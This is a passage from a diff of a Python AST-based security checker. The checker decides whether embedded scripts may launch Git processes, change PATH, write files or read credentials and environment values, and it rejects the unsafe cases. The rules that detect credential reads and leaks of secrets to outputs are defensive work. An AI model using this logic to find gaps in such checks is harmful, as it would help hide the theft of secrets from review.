if not has_mode and not unpacked_keyword: - continue - if unpacked_keyword: - mode = None - elif not isinstance(mode, ast.Constant) or not isinstance(mode.value, str): - mutation = True - else: - mutation = any(flag in mode.value for flag in ("w", "a", "x", "+")) - path_arguments = list(node.args[:1]) - elif dotted == "tempfile.TemporaryDirectory": - continue - elif dotted in { - "tempfile.NamedTemporaryFile", - "tempfile.TemporaryFile", - "tempfile.SpooledTemporaryFile", - "tempfile.mkstemp", - "tempfile.mkdtemp", - }: - mutation = True - directory = next( - (keyword.value for keyword in node.keywords if keyword.arg == "dir"), - None, + +def reviewed_python_git_query_capture( + node, tree, parents, require_origin_comparison=True +): + """Keep raw Git query output on the bounded collector's active path.""" + if ( + enclosing_python_function(node, parents) != "run_bounded_git_query" + or python_dotted_name(node.func) != "subprocess.Popen" + or not reviewed_python_helper_definition(node, parents) + or not reviewed_python_helper_launcher(node, parents) + or not reviewed_python_git_query_collector(tree, parents) + or ( + require_origin_comparison + and not reviewed_python_git_origin_capture_is_compared(tree, parents) + ) + ): + return False + function_node = next( + ( + parent + for parent in _python_parent_chain(node, parents) + if isinstance(parent, (ast.FunctionDef, ast.AsyncFunctionDef)) + ), + None, + ) + if function_node is None: + return False + process_assignments = [ + candidate + for candidate in ast.walk(function_node) + if isinstance(candidate, ast.Assign) + and python_enclosing_scope(candidate, parents) is function_node + and len(candidate.targets) == 1 + and isinstance(candidate.targets[0], ast.Name) + and candidate.targets[0].id == "process" + ] + process_stores = [ + candidate + for candidate in ast.walk(function_node) + if isinstance(candidate, ast.Name) + and candidate.id == "process" + and isinstance(candidate.ctx, ast.Store) + ] + process_creation = parents.get(node) + if ( + len(process_stores) != 5 + or len(process_assignments) != 5 + or any(parents.get(store) not in process_assignments for store in process_stores) + or sum(assignment.value is node for assignment in process_assignments) != 1 + or process_creation not in process_assignments + or any( + assignment is not process_creation + and not ( + isinstance(assignment.value, ast.Constant) + and assignment.value.value is None ) - path_arguments = [directory] if directory is not None else [] - elif dotted == "io.FileIO": - path = node.args[0] if node.args else next( + for assignment in process_assignments + ) + ): + return False + process_reads = [ + candidate + for candidate in ast.walk(function_node) + if isinstance(candidate, ast.Name) + and candidate.id == "process" + and isinstance(candidate.ctx, ast.Load) + ] + + def in_runner_lexical_scope(node): + current = parents.get(node) + while current is not None and current is not function_node: + if isinstance( + current, ( - keyword.value - for keyword in node.keywords - if keyword.arg in {"file", "name"} + ast.FunctionDef, + ast.AsyncFunctionDef, + ast.ClassDef, + ast.Lambda, + ast.ListComp, + ast.SetComp, + ast.DictComp, + ast.GeneratorExp, ), - None, - ) - mode = node.args[1] if len(node.args) > 1 else next( - (keyword.value for keyword in node.keywords if keyword.arg == "mode"), - None, - ) - if mode is None: - if path is None or not python_reviewed_read_path(path, tree, parents): - mutation = True - elif isinstance(mode, ast.Constant) and isinstance(mode.value, str): - if any(flag in mode.value for flag in ("w", "a", "x", "+")): - mutation = True - elif path is None or not python_reviewed_read_path(path, tree, parents): - mutation = True + ): + return False + current = parents.get(current) + return current is function_node + + if any(not in_runner_lexical_scope(reference) for reference in process_reads): + return False + process_read_kinds = {"capture": 0, "terminate": 0, "returncode": 0, "cleanup": 0} + for reference in process_reads: + parent = parents.get(reference) + if isinstance(parent, ast.Attribute) and parent.value is reference: + if parent.attr != "returncode" or not isinstance(parent.ctx, ast.Load): + return False + process_read_kinds["returncode"] += 1 + continue + if isinstance(parent, ast.Call) and parent.args and parent.args[0] is reference: + if parent.keywords: + return False + callee = python_dotted_name(parent.func) + if callee == "capture_git_query_output": + process_read_kinds["capture"] += 1 + elif callee == "terminate_git_query_group": + process_read_kinds["terminate"] += 1 else: - mutation = True - path_arguments = [path] if path is not None else [] - if not mutation: + return False continue - if path_arguments and all( - temporary_path_expression(argument, tree, parents) - for argument in path_arguments + if ( + isinstance(parent, ast.Compare) + and parent.left is reference + and len(parent.ops) == 1 + and isinstance(parent.ops[0], (ast.Is, ast.IsNot)) + and len(parent.comparators) == 1 + and isinstance(parent.comparators[0], ast.Constant) + and parent.comparators[0].value is None ): + process_read_kinds["cleanup"] += 1 continue - return ( - "Python heredoc contains an unreviewed filesystem mutation " - f"{dotted or ''!r} on line {node.lineno}" + return False + if process_read_kinds != { + "capture": 1, "terminate": 4, "returncode": 1, "cleanup": 1 + }: + return False + capture_assignments = [ + candidate + for candidate in ast.walk(function_node) + if isinstance(candidate, ast.Assign) + and python_enclosing_scope(candidate, parents) is function_node + and isinstance(candidate.value, ast.Call) + and python_dotted_name(candidate.value.func) == "capture_git_query_output" + ] + if len(capture_assignments) != 1: + return False + capture_assignment = capture_assignments[0] + if ( + len(capture_assignment.targets) != 1 + or not isinstance(capture_assignment.targets[0], ast.Tuple) + or [ + target.id + for target in capture_assignment.targets[0].elts + if isinstance(target, ast.Name) + ] != ["stdout", "stderr"] + or len(capture_assignment.targets[0].elts) != 2 + or not all( + isinstance(target, ast.Name) + for target in capture_assignment.targets[0].elts ) - return None + or len(capture_assignment.value.args) != 4 + or [python_dotted_name(argument) for argument in capture_assignment.value.args] + != ["process", "command", "output_limit", "input_bytes"] + or capture_assignment.value.keywords + ): + return False + if ( + sum( + assignment.lineno < process_creation.lineno + for assignment in process_assignments + if assignment is not process_creation + ) != 1 + or sum( + assignment.lineno > capture_assignment.lineno + for assignment in process_assignments + if assignment is not process_creation + ) != 3 + or any( + process_creation.lineno < assignment.lineno < capture_assignment.lineno + for assignment in process_assignments + if assignment is not process_creation + ) + or any( + isinstance(candidate, ast.ExceptHandler) + and candidate.name == "process" + for candidate in ast.walk(function_node) + ) + ): + return False + def on_unconditional_path(statement): + current = statement + while current is not function_node: + parent = parents.get(current) + if parent is None or isinstance( + parent, + ( + ast.If, + ast.IfExp, + ast.While, + ast.For, + ast.AsyncFor, + ast.Match, + ast.ExceptHandler, + ast.TryStar, + ), + ): + return False + if isinstance(parent, ast.Try) and current not in parent.body: + return False + current = parent + return True -python_reviewed_path_values = { - "/opt/homebrew/bin:/usr/bin:/bin", - "/usr/bin:/bin", - "/usr/bin", -} -python_reviewed_path_names = { - "reviewed_path", - "reviewed_shell_path", - "inherited_path_previous", -} -python_reviewed_environment_names = { - "env", - "go_env", - "base_env", - "git_environment", - "remote_environment", - "child_environment", - "child_env", - "probe_env", - "setup_env", - "safe_env", - "isolated_environment", - "git_env", -} + if not on_unconditional_path(process_creation) or not on_unconditional_path(capture_assignment): + return False + if process_creation.lineno >= capture_assignment.lineno: + return False + capture_try = parents.get(capture_assignment) + outer_try = parents.get(process_creation) + termination_calls = [ + candidate + for candidate in ast.walk(function_node) + if isinstance(candidate, ast.Call) + and python_dotted_name(candidate.func) == "terminate_git_query_group" + ] + if ( + not isinstance(capture_try, ast.Try) + or not isinstance(outer_try, ast.Try) + or capture_try is outer_try + or capture_assignment not in capture_try.body + or len(termination_calls) != 4 + or any(not in_runner_lexical_scope(candidate) for candidate in termination_calls) + ): + return False + def termination_call(statement): + return ( + isinstance(statement, ast.Expr) + and isinstance(statement.value, ast.Call) + and python_dotted_name(statement.value.func) + == "terminate_git_query_group" + and len(statement.value.args) == 1 + and isinstance(statement.value.args[0], ast.Name) + and statement.value.args[0].id == "process" + and not statement.value.keywords + ) -def python_path_value_allowed(node): - if isinstance(node, ast.Constant) and isinstance(node.value, str): - return node.value in python_reviewed_path_values - return isinstance(node, ast.Name) and node.id in python_reviewed_path_names + expected_exception_types = {"subprocess.TimeoutExpired", "BaseException"} + if ( + len(capture_try.handlers) != 2 + or {python_dotted_name(handler.type) for handler in capture_try.handlers} + != expected_exception_types + ): + return False + exception_terminations = set() + for handler in capture_try.handlers: + expected_exit = ( + "SystemExit" + if python_dotted_name(handler.type) == "subprocess.TimeoutExpired" + else None + ) + if ( + len(handler.body) != 3 + or not termination_call(handler.body[0]) + or not isinstance(handler.body[1], ast.Assign) + or len(handler.body[1].targets) != 1 + or not isinstance(handler.body[1].targets[0], ast.Name) + or handler.body[1].targets[0].id != "process" + or not isinstance(handler.body[1].value, ast.Constant) + or handler.body[1].value.value is not None + or not isinstance(handler.body[2], ast.Raise) + or ( + expected_exit == "SystemExit" + and ( + not isinstance(handler.body[2].exc, ast.Call) + or python_dotted_name(handler.body[2].exc.func) != expected_exit + ) + ) + or (expected_exit is None and handler.body[2].exc is not None) + ): + return False + exception_terminations.add(handler.body[0].value) + direct_capture_attempts = [ + statement + for statement in outer_try.body + if statement is capture_try + ] + returncode_assignments = [ + statement + for statement in outer_try.body + if isinstance(statement, ast.Assign) + and len(statement.targets) == 1 + and isinstance(statement.targets[0], ast.Name) + and statement.targets[0].id == "returncode" + and isinstance(statement.value, ast.Attribute) + and python_dotted_name(statement.value) == "process.returncode" + ] + normal_termination_statements = [ + statement + for statement in outer_try.body + if termination_call(statement) + ] + normal_process_clears = [ + statement + for statement in outer_try.body + if isinstance(statement, ast.Assign) + and len(statement.targets) == 1 + and isinstance(statement.targets[0], ast.Name) + and statement.targets[0].id == "process" + and isinstance(statement.value, ast.Constant) + and statement.value.value is None + ] + if ( + len(direct_capture_attempts) != 1 + or len(returncode_assignments) != 1 + or len(normal_termination_statements) != 1 + or len(normal_process_clears) != 1 + or not ( + outer_try.body.index(capture_try) + < outer_try.body.index(returncode_assignments[0]) + < outer_try.body.index(normal_termination_statements[0]) + < outer_try.body.index(normal_process_clears[0]) + ) + ): + return False -def python_enclosing_scope(node, parents): - """Resolve assignments against the nearest function/module scope.""" - current = node - while current is not None: - if isinstance( - current, - (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda, ast.Module), - ): - return current - current = parents.get(current) - return None + if ( + len(outer_try.finalbody) != 1 + or not isinstance(outer_try.finalbody[0], ast.If) + or not isinstance(outer_try.finalbody[0].test, ast.Compare) + or python_dotted_name(outer_try.finalbody[0].test.left) != "process" + or len(outer_try.finalbody[0].test.ops) != 1 + or not isinstance(outer_try.finalbody[0].test.ops[0], ast.IsNot) + or len(outer_try.finalbody[0].test.comparators) != 1 + or not isinstance(outer_try.finalbody[0].test.comparators[0], ast.Constant) + or outer_try.finalbody[0].test.comparators[0].value is not None + or outer_try.finalbody[0].orelse + or len(outer_try.finalbody[0].body) != 1 + or not termination_call(outer_try.finalbody[0].body[0]) + ): + return False + expected_terminations = exception_terminations | { + normal_termination_statements[0].value, + outer_try.finalbody[0].body[0].value, + } + if len(expected_terminations) != 4 or set(termination_calls) != expected_terminations: + return False + output_stores = [ + candidate + for candidate in ast.walk(function_node) + if isinstance(candidate, ast.Name) + and python_enclosing_scope(candidate, parents) is function_node + and candidate.id in {"stdout", "stderr"} + and isinstance(candidate.ctx, ast.Store) + ] + if len(output_stores) != 2 or { + candidate.id for candidate in output_stores + } != {"stdout", "stderr"} or any( + parents.get(parents.get(candidate)) is not capture_assignment + for candidate in output_stores + ): + return False + returns = [ + candidate + for candidate in ast.walk(function_node) + if isinstance(candidate, ast.Return) + and python_enclosing_scope(candidate, parents) is function_node + ] + if ( + len(returns) != 1 + or not on_unconditional_path(returns[0]) + or not isinstance(returns[0].value, ast.Call) + or python_dotted_name(returns[0].value.func) != "subprocess.CompletedProcess" + or [python_dotted_name(argument) for argument in returns[0].value.args] + != ["command", "returncode", "stdout", "stderr"] + or returns[0].value.keywords + ): + return False + keywords = {keyword.arg: keyword.value for keyword in node.keywords} + return all( + python_dotted_name(keywords.get(name)) == "subprocess.PIPE" + for name in ("stdout", "stderr") + ) -def python_environment_mapping_state(node, tree, seen=None, parents=None): - """Return safe/unsafe/unknown for literal child-environment PATH maps.""" - if seen is None: - seen = set() - if parents is None: - parents = {} - if node is None or id(node) in seen: - return "unknown" - seen.add(id(node)) - if isinstance(node, ast.Dict): - state = "safe" - explicit_path = False - for key, value in zip(node.keys, node.values): - if key is None: - unpacked_state = python_environment_mapping_state( - value, tree, seen.copy(), parents - ) - if unpacked_state != "safe": - return unpacked_state - continue - if not ( - isinstance(key, ast.Constant) - and isinstance(key.value, str) - ): - state = "unknown" - continue - if credential_environment_name(key.value): - return "unsafe" - if key.value != "PATH": - continue - explicit_path = True - if not python_path_value_allowed(value): - return "unsafe" - return state - if isinstance(node, ast.DictComp): - if ( - len(node.generators) == 1 - and isinstance(node.generators[0].iter, ast.Name) - and node.generators[0].iter.id == "reviewed_child_environment_names" - ): - return "safe" - if ( - len(node.generators) == 1 - and isinstance(node.generators[0].iter, ast.Call) - and python_dotted_name(node.generators[0].iter.func) == "os.environ.items" - and any( - isinstance(candidate, ast.Name) - and candidate.id == "reviewed_child_environment_names" - for condition in node.generators[0].ifs - for candidate in ast.walk(condition) - ) - ): - return "safe" - if ( - len(node.generators) == 1 - and isinstance(node.generators[0].iter, ast.Call) - and python_dotted_name(node.generators[0].iter.func) == "os.environ.items" - and any( - isinstance(candidate, ast.Call) - and python_dotted_name(candidate.func) - == "credential_environment_name" - for candidate in ast.walk(node) - ) - ): - return "safe" - return "unknown" - if isinstance(node, ast.Name): - states = [] - scope = python_enclosing_scope(node, parents) - for candidate in ast.walk(tree): - if not isinstance(candidate, (ast.Assign, ast.AnnAssign, ast.NamedExpr)): - continue - if python_enclosing_scope(candidate, parents) is not scope: - continue - targets = candidate.targets if isinstance(candidate, ast.Assign) else [candidate.target] - if any(isinstance(target, ast.Name) and target.id == node.id for target in targets): - states.append( - python_environment_mapping_state( - candidate.value, tree, seen.copy(), parents - ) - ) - if "unsafe" in states: - return "unsafe" - if states and all(state == "safe" for state in states): - return "safe" - if not states and node.id in python_reviewed_environment_names: - return "safe" - return "unknown" - return "unknown" - - -def python_child_environment_violation(tree, modules, functions, parents=None): - """Reject unreviewed PATH changes before Python child argv approval.""" - if parents is None: - parents = {} - for node in ast.walk(tree): - if isinstance(node, (ast.Assign, ast.AnnAssign, ast.AugAssign)): - targets = node.targets if isinstance(node, ast.Assign) else [node.target] - for target in targets: - if not isinstance(target, ast.Subscript): - continue - if python_dotted_name(target.value) != "os.environ": - continue - key = target.slice.value if isinstance(target.slice, ast.Constant) else None - if key == "PATH" and not python_path_value_allowed(node.value): - return ( - "Python child environment changes PATH outside the reviewed " - f"path set on line {node.lineno}" - ) - if not isinstance(node, ast.Call): +def reviewed_python_static_loop_binding(node, tree): + """Recognize literal command loops without granting a marker blanket trust.""" + if not isinstance(node, ast.Name): + return False + for loop in ast.walk(tree): + if not isinstance(loop, ast.For) or not isinstance(loop.target, ast.Name): continue - dotted = python_dotted_name(node.func) - if dotted == "os.putenv" and node.args: - key = node.args[0].value if isinstance(node.args[0], ast.Constant) else None - if key == "PATH" and (len(node.args) < 2 or not python_path_value_allowed(node.args[1])): - return ( - "Python child environment changes PATH through os.putenv " - f"on line {node.lineno}" - ) - if dotted == "os.environ.update" and node.args: - if python_environment_mapping_state( - node.args[0], tree, parents=parents - ) == "unsafe": - return ( - "Python child environment mapping for os.environ.update is not safe " - f"on line {node.lineno}" - ) - resolved = python_resolved_name(node.func, modules, functions) - if resolved not in python_command_functions: + if loop.target.id != node.id or not isinstance(loop.iter, (ast.List, ast.Tuple)): continue - if resolved == "run_go_child": + if not loop.iter.elts: continue - for keyword in node.keywords: - if keyword.arg != "env": - continue - argument = python_command_argument(node) - if ( - isinstance(argument, (ast.List, ast.Tuple)) - and argument.elts - and isinstance(argument.elts[0], ast.Constant) - and argument.elts[0].value == "git" - ): - fixture_value = [] - for element in argument.elts: - if isinstance(element, ast.Constant) and isinstance(element.value, str): - fixture_value.append(element.value) - elif ( - isinstance(element, ast.Call) - and python_dotted_name(element.func) == "str" - and len(element.args) == 1 - and not element.keywords - ): - fixture_value.append("") - else: - fixture_value.append(None) - if reviewed_python_synthetic_git_fixture( - node, fixture_value, tree, parents + for item in loop.iter.elts: + if not isinstance(item, (ast.List, ast.Tuple)) or not item.elts: + break + first = item.elts[0] + if not isinstance(first, ast.Constant) or first.value not in {"git", "go"}: + break + words = [] + for element in item.elts: + if isinstance(element, ast.Constant) and isinstance(element.value, str): + words.append(element.value) + elif ( + isinstance(element, ast.Call) + and python_dotted_name(element.func) == "str" + and len(element.args) == 1 + and not element.keywords ): + words.append("") + else: + break + else: + if words[0] == "git" and tuple(words) in { + ("git", "init", "-q"), + ("git", "config", "core.fsmonitor", ""), + }: continue - if ( - isinstance(argument, ast.Name) - and reviewed_python_static_loop_binding(argument, tree) - ): + if words[0] == "git" and forbidden_command(words) is not None: + break continue - if ( - isinstance(argument, (ast.List, ast.Tuple)) - and argument.elts - and isinstance(argument.elts[0], ast.Constant) - and argument.elts[0].value == "/bin/bash" - and reviewed_python_synthetic_shell_input( - node, ["/bin/bash"], tree, parents - ) + break + else: + return True + return False + + +def reviewed_python_case_args(node, tree): + """Recognize only the literal case['args'] fixture table.""" + if not isinstance(node, ast.Subscript): + return False + if not isinstance(node.value, ast.Name) or node.value.id != "case": + return False + key = node.slice.value if isinstance(node.slice, ast.Constant) else None + if key != "args": + return False + for loop in ast.walk(tree): + if not ( + isinstance(loop, ast.For) + and isinstance(loop.target, ast.Name) + and loop.target.id == "case" + and isinstance(loop.iter, ast.Name) + and loop.iter.id == "cases" + ): + continue + for assignment in ast.walk(tree): + if not isinstance(assignment, ast.Assign): + continue + if not any( + isinstance(target, ast.Name) and target.id == "cases" + for target in assignment.targets ): continue - if python_environment_mapping_state( - keyword.value, tree, parents=parents - ) != "safe": - return ( - "Python child launcher has an unknown or unreviewed environment " - f"keyword on line {node.lineno}" + if not isinstance(assignment.value, (ast.List, ast.Tuple)): + continue + entries = assignment.value.elts + if entries and all( + isinstance(entry, ast.Dict) + and any( + isinstance(key_node, ast.Constant) + and key_node.value == "args" + and isinstance(value_node, (ast.List, ast.Tuple)) + and value_node.elts + and isinstance(value_node.elts[0], ast.Constant) + and value_node.elts[0].value == "go" + for key_node, value_node in zip(entry.keys, entry.values) ) - return None + for entry in entries + ): + return True + return False -python_reviewed_read_path_prefixes = ( - "docs/", - "experiments/", - ".github/", - "README", - "go.mod", - "go.sum", -) -python_reviewed_read_path_names = { - "path", - "source", - "source_path", - "packet", - "packet_path", - "current_packet", - "parent_packet", - "probe", - "marker", - "name", - "package_dir", - "repo_root", +reviewed_python_dynamic_path_names = { "module_dir", "relative_path", - "directory", + "parent", + "parent_sha", + "parent_head", + "prior_head", + "starting_head", + "packet_path", + "source_path", } -# These are the only helper parameters whose path provenance is reviewed by -# this packet. All other function parameters, including path-like names, are -# rejected unless the function body assigns them from a reviewed path value. -python_reviewed_read_path_parameters = { - ("anchors", "path"), - ("assignment", "path"), - ("git_worktree_matches_pinned_blobs", "repo_root"), - ("git_worktree_matches_pinned_blobs", "relative_path"), - ("source_fuzz_declarations", "source_path"), - ("source_test_names", "source_path"), -} - - -def python_unassigned_path_parameter(node, parents): - """Recognize a function parameter that has no reviewed assignment.""" - if not isinstance(node, ast.Name): - return False - current = node - while current is not None: - if isinstance(current, (ast.FunctionDef, ast.AsyncFunctionDef)): - arguments = ( - list(current.args.posonlyargs) - + list(current.args.args) - + list(current.args.kwonlyargs) - ) - return any(argument.arg == node.id for argument in arguments) - current = parents.get(current) - return False - - -def python_reviewed_read_path_parameter(node, tree, parents): - """Permit only named helper parameters with explicit packet provenance.""" - if not python_unassigned_path_parameter(node, parents): - return False - current = node - while current is not None and not isinstance( - current, (ast.FunctionDef, ast.AsyncFunctionDef) - ): - current = parents.get(current) - if current is None: - return False - return (current.name, node.id) in python_reviewed_read_path_parameters - - -def python_reviewed_markdown_file_value(node, tree): - """Prove the link checker Path(name) value came from Git's Markdown list.""" - if not ( - isinstance(node, ast.Call) - and python_dotted_name(node.func) in {"Path", "pathlib.Path"} - and len(node.args) == 1 - and not node.keywords - and isinstance(node.args[0], ast.Name) - and node.args[0].id == "name" - ): - return False - files_from_git = False - for candidate in ast.walk(tree): - if not isinstance(candidate, ast.Assign): - continue - if not any( - isinstance(target, ast.Name) and target.id == "files" - for target in candidate.targets - ): - continue - value = candidate.value - if ( - isinstance(value, ast.Call) - and isinstance(value.func, ast.Attribute) - and value.func.attr == "splitlines" - and isinstance(value.func.value, ast.Call) - ): - value = value.func.value - if not ( - isinstance(value, ast.Call) - and python_dotted_name(value.func) == "subprocess.check_output" - and value.args - and isinstance(value.args[0], (ast.List, ast.Tuple)) - and [ - item.value - for item in value.args[0].elts - if isinstance(item, ast.Constant) - ][:3] - == ["git", "ls-files", "*.md"] - ): - continue - files_from_git = True - break - if not files_from_git: - return False - return any( - isinstance(candidate, ast.For) - and isinstance(candidate.target, ast.Name) - and candidate.target.id == "name" - and isinstance(candidate.iter, ast.Name) - and candidate.iter.id == "files" - for candidate in ast.walk(tree) - ) - -def python_reviewed_read_path(node, tree, parents, seen=None): - """Allow reads only from reviewed repository or owned temporary paths.""" +def reviewed_python_dynamic_path_value(node, tree=None, parents=None, seen=None): + """Prove only immutable packet/repository path components in a Git argv.""" if seen is None: seen = set() - if node is None or id(node) in seen: + if id(node) in seen: return False seen.add(id(node)) - if temporary_path_expression(node, tree, parents): - return True - if isinstance(node, ast.Constant) and isinstance(node.value, str): - value = node.value.replace("\\", "/") - return ( - not value.startswith("/") - and ".." not in value.split("/") - and value.startswith(python_reviewed_read_path_prefixes) - ) + if isinstance(node, ast.Constant): + return isinstance(node.value, str) if isinstance(node, ast.Name): - assignments = [] + if node.id not in reviewed_python_dynamic_path_names: + return False + if tree is None or parents is None: + return True scope = python_enclosing_scope(node, parents) + assignments = [] for candidate in ast.walk(tree): - if isinstance(candidate, (ast.Assign, ast.NamedExpr)): + if isinstance(candidate, ast.Assign): targets = candidate.targets elif isinstance(candidate, ast.AnnAssign): targets = [candidate.target] + elif isinstance(candidate, ast.NamedExpr): + targets = [candidate.target] else: continue if python_enclosing_scope(candidate, parents) is not scope: @@ -11896,1486 +15986,9493 @@ def python_reviewed_read_path(node, tree, parents, seen=None): for target in targets ): assignments.append(candidate.value) - if assignments: - return all( - python_reviewed_read_path(value, tree, parents, seen.copy()) - for value in assignments - ) - if python_reviewed_read_path_parameter(node, tree, parents): - return True - return False - if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Div): - return ( - python_reviewed_read_path(node.left, tree, parents, seen) - and ( - ( - isinstance(node.right, ast.Constant) - and isinstance(node.right.value, str) - and not node.right.value.replace("\\", "/").startswith( - ("/", "~", "$HOME", "${HOME}", "$home", "${home}") - ) - and ".." not in node.right.value.replace("\\", "/").split("/") - ) - or ( - isinstance(node.right, ast.Name) - and node.right.id in python_reviewed_read_path_names + return bool(assignments) and all( + reviewed_python_dynamic_path_value(value, tree, parents, set(seen)) + for value in assignments + ) + if isinstance(node, ast.JoinedStr): + return all( + isinstance(value, ast.Constant) + or ( + isinstance(value, ast.FormattedValue) + and reviewed_python_dynamic_path_value( + value.value, tree, parents, set(seen) ) ) + for value in node.values + ) + if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Add): + return reviewed_python_dynamic_path_value( + node.left, tree, parents, set(seen) + ) and reviewed_python_dynamic_path_value( + node.right, tree, parents, set(seen) ) - if isinstance(node, ast.Call): - if python_dotted_name(node.func) in {"Path", "pathlib.Path"} and len(node.args) == 1 and not node.keywords: - if python_reviewed_markdown_file_value(node, tree): - return True - return python_reviewed_read_path(node.args[0], tree, parents, seen) - if ( - isinstance(node.func, ast.Attribute) - and node.func.attr == "resolve" - and not node.args - and not node.keywords - ): - receiver = node.func.value - if ( - isinstance(receiver, ast.BinOp) - and isinstance(receiver.op, ast.Div) - and all( - isinstance(part, ast.Name) - and part.id in python_reviewed_read_path_names - for part in (receiver.left, receiver.right) - ) - ): - return True - return python_reviewed_read_path(receiver, tree, parents, seen) return False -python_sensitive_sink_methods = { - "write", - "writelines", - "write_text", - "write_bytes", - "dump", - "dumps", - "error", - "exception", - "critical", - "warning", - "warn", - "info", - "debug", - "log", -} - - -def python_sensitive_output_sink(node): - """Recognize output/error sinks without tainting ordinary containers/helpers.""" - if not isinstance(node, ast.Call): +def reviewed_python_dynamic_git_call(argument, tree=None, parents=None): + """Allow only isolated read-only Git argv with reviewed path components.""" + if not isinstance(argument, (ast.List, ast.Tuple)) or len(argument.elts) < 2: return False - dotted = python_dotted_name(node.func) - if dotted in { - "print", - "warnings.warn", - "warnings.warn_explicit", - "traceback.print_exc", - "traceback.print_exception", - }: - return True - return ( - isinstance(node.func, ast.Attribute) - and node.func.attr.casefold() in python_sensitive_sink_methods + reconstructed = [] + for element in argument.elts: + if isinstance(element, ast.Constant) and isinstance(element.value, str): + reconstructed.append(element.value) + elif reviewed_python_dynamic_path_value(element, tree, parents): + reconstructed.append("__g01_reviewed_dynamic_path__") + else: + return False + if git_query_environment_violation(reconstructed) is not None: + return False + git_index = 0 + if executable_basename(reconstructed[0]) == "env": + if len(reconstructed) < 4 or reconstructed[1] != "-i": + return False + git_index = 2 + while git_index < len(reconstructed) and assignment.fullmatch(reconstructed[git_index]): + git_index += 1 + git_tokens = reconstructed[git_index:] + if not git_tokens or executable_basename(git_tokens[0]) != "git": + return False + subcommand_index = git_subcommand_index(git_tokens) + if ( + subcommand_index is None + or subcommand_index >= len(git_tokens) + or git_tokens[subcommand_index] not in git_read_only_subcommands + or git_command_delegation(git_tokens) is not None + or git_diff_path_violation(git_tokens) is not None + or git_filter_attribute_violation(git_tokens) is not None + or git_read_only_violation(git_tokens) is not None + ): + return False + original_subcommand_index = git_index + subcommand_index + return all( + isinstance(element, ast.Constant) + and isinstance(element.value, str) + or reviewed_python_dynamic_path_value(element, tree, parents) + for element in argument.elts[original_subcommand_index + 1:] ) -def python_sensitive_read_violation(tree, parents): - """Reject environment/credential reads and unreviewed file read sinks.""" - sensitive_names = python_sensitive_value_names(tree, parents) - credential_reader_aliases = python_credential_reader_aliases(tree) - path_reader_aliases = python_path_reader_aliases(tree) - for alias, receiver in path_reader_aliases.items(): - if not python_reviewed_read_path(receiver, tree, parents): - return f"Python unreviewed Path reader alias {alias!r} is not allowed" - for node in ast.walk(tree): - if isinstance(node, ast.Subscript) and python_dotted_name(node.value) == "os.environ": - key = node.slice.value if isinstance(node.slice, ast.Constant) else None - if isinstance(key, str) and credential_environment_name(key): - return ( - "Python credential/environment subscript is not allowed " - f"on line {node.lineno}" - ) - if isinstance(node, ast.Raise): - if node.exc is not None and python_sensitive_value_expression( - node.exc, sensitive_names, tree, parents - ): - return ( - "Python credential/environment value is sent to an exception " - f"on line {node.lineno}" - ) - if isinstance(node, ast.Call): - dotted = python_dotted_name(node.func) - if dotted == "os.getenv": - key = node.args[0].value if node.args and isinstance(node.args[0], ast.Constant) else None - if key is None or not isinstance(key, str) or credential_environment_name(key): - return f"Python credential/environment read os.getenv is not allowed on line {node.lineno}" - if dotted in { - "os.environ.get", - "os.environ.setdefault", - "os.environ.pop", - "os.environ.__getitem__", - }: - key = node.args[0].value if node.args and isinstance(node.args[0], ast.Constant) else None - if isinstance(key, str) and credential_environment_name(key): - return ( - "Python credential/environment read through " - f"{dotted} is not allowed on line {node.lineno}" - ) - if ( - isinstance(node.func, ast.Name) - and node.func.id in credential_reader_aliases - ): - key = node.args[0].value if node.args and isinstance(node.args[0], ast.Constant) else None - if key is None or not isinstance(key, str) or credential_environment_name(key): - return ( - "Python credential/environment read through callable alias " - f"{node.func.id!r} is not allowed on line {node.lineno}" - ) - if ( - isinstance(node.func, ast.Name) - and node.func.id in path_reader_aliases - and not python_reviewed_read_path( - path_reader_aliases[node.func.id], tree, parents - ) - ): - return ( - "Python unreviewed Path reader alias call " - f"{node.func.id!r} is not allowed on line {node.lineno}" - ) - if python_sensitive_output_sink(node) and any( - python_sensitive_value_expression( - argument, sensitive_names, tree, parents - ) - or any( - isinstance(candidate, ast.Attribute) - and python_dotted_name(candidate) == "os.environ" - for candidate in ast.walk(argument) - ) - for argument in list(node.args) - + [keyword.value for keyword in node.keywords] - ): - return ( - "Python credential/environment value is sent to an output/error " - f"sink {dotted or ''!r} on line {node.lineno}" - ) - if isinstance(node.func, ast.Attribute) and node.func.attr in {"read", "readline", "readlines"}: - receiver = node.func.value - if isinstance(receiver, ast.Call) and python_dotted_name(receiver.func) == "open": - path = receiver.args[0] if receiver.args else None - if not python_reviewed_read_path(path, tree, parents): - return f"Python unreviewed file read through open on line {node.lineno}" - if isinstance(node.func, ast.Attribute) and node.func.attr in {"read_text", "read_bytes"}: - if not python_reviewed_read_path(node.func.value, tree, parents): - return ( - f"Python unreviewed Path.{node.func.attr} file read " - f"on line {node.lineno}" - ) - return None - - -def reviewed_python_synthetic_git_fixture(node, value, tree, parents): - """Allow only known local-temp Git setup/cleanup fixture argv forms.""" - if not isinstance(value, list) or not value or value[0] != "git": - return False - fixture_bindings = temporary_directory_bindings(node, tree, parents) - cwd = next( - (keyword.value for keyword in node.keywords if keyword.arg == "cwd"), - None, - ) +def reviewed_python_dynamic_call( + node, argument, tree, parents, literal_bindings, resolved=None +): + """Allow explicit packet-owned forwarding, never a marker by itself.""" if ( - not fixture_bindings - or not isinstance(cwd, ast.Name) - or cwd.id not in fixture_bindings + isinstance(argument, (ast.List, ast.Tuple)) + and len(argument.elts) == 4 + and isinstance(argument.elts[0], ast.Attribute) + and python_dotted_name(argument.elts[0]) == "sys.executable" + and isinstance(argument.elts[1], ast.Constant) + and argument.elts[1].value == "-I" + and isinstance(argument.elts[2], ast.Constant) + and argument.elts[2].value == "-c" + and isinstance(argument.elts[3], ast.Constant) + and argument.elts[3].value == "import json; print(json.__file__)" ): - return False - if tuple(value) in reviewed_synthetic_git_fixture_argv: return True - argument = python_command_argument(node) - if not isinstance(argument, (ast.List, ast.Tuple)): + if ( + python_dotted_name(node.func) == "subprocess.Popen" + and enclosing_python_function(node, parents) == "run_bounded_git_query" + and not reviewed_python_git_query_capture( + node, tree, parents, require_origin_comparison=False + ) + ): return False - elements = argument.elts - if len(elements) == 4: - first, second, third, fourth = elements + if ( + python_dotted_name(node.func) in python_command_functions + and reviewed_python_git_command_origin(argument, tree, 